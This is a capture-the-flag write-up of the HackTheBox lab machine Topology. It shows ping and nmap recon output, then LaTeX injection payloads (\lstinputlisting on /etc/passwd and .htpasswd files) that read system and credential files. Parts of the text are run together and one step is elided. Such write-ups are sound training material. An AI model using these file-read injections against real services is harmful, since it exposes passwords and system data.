This is a easy difficulty Linux machine from HackTheBox created by gedsic. In this scenario, my IP is 10.10.14.71 and the targetโs IP is 10.129.151.145
Recon
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
Local Terminal
$ping-c110.129.151.145PING10.129.151.145 (10.129.151.145) 56(84) bytes of data.64bytesfrom10.129.151.145:icmp_seq=1ttl=62time=174ms---10.129.151.145pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=174.093/174.093/174.093/0.000ms
The machine is alive, and by the TTL (close to 64) we can assume and confirm that is definitely a Linux Machine
StartingNmap7.94 ( https://nmap.org ) at 2023-07-05 16:04 UTCNmapscanreportfor10.129.151.145Hostisup (0.022s latency).PORTSTATESERVICEVERSION22/tcpopensshOpenSSH8.2p1Ubuntu4ubuntu0.7 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|3072dc:bc:32:86:e8:e8:45:78:10:bc:2b:5d:bf:0f:55:c6 (RSA)|256d9:f3:39:69:2c:6c:27:f1:a9:2d:50:6c:a7:9f:1c:33 (ECDSA)|_2564c:a6:50:75:d0:93:4f:9c:4a:1b:89:0a:7a:27:08:d7 (ED25519)80/tcpopenhttpApache/2.4.41 (Ubuntu)|_http-server-header:Apache/2.4.41 (Ubuntu)|_http-title:MiskatonicUniversity|TopologyGroup|fingerprint-strings:|FourOhFourRequest,GetRequest,HTTPOptions:| HTTP/1.0 403 connecting to :80: connecting to <nil>:80: dial tcp :80: connectex: No connection could be made because the target machine actively refused it.
|Connection:close| connecting to :80: connecting to <nil>:80: dial tcp :80: connectex: No connection could be made because the target machine actively refused it.
|GenericLines:|HTTP/1.0400readingrequest:malformedHTTPrequest""|Connection:close|readingrequest:malformedHTTPrequest""|Help:|HTTP/1.0400readingrequest:malformedHTTPrequest"HELP"|Connection:close|readingrequest:malformedHTTPrequest"HELP"|RTSPRequest:|HTTP/1.0400readingrequest:malformedHTTPversion"RTSP/1.0"|Connection:close|_readingrequest:malformedHTTPversion"RTSP/1.0"443/tcpopenhttps?1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
<...>
By searching "OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 launchpad" you can conclude that is a Ubuntu-Focal machine, this is good to know in some targets just in case that there is an specific Linux exploit.
Maybe it has some validation... let's search for different way to execute commands.
\include{password} Fail
\lstinputlisting{/etc/passwd} Fail
$\include{password}$ Fail
$\lstinputlisting{/etc/passwd}$
Reverse Shell [vdaisley]
All right, we can read files, but we can't execute commands, at this point the best option is to search for information about the target and see if you can read some files that store passwords.
For "Apache/2.4.41" it's htpasswd located at /var/www/html/, try $\lstinputlisting{/var/www/html/.htpasswd}$ it fails... what about dev? try: $\lstinputlisting{/var/www/dev/.htpasswd}$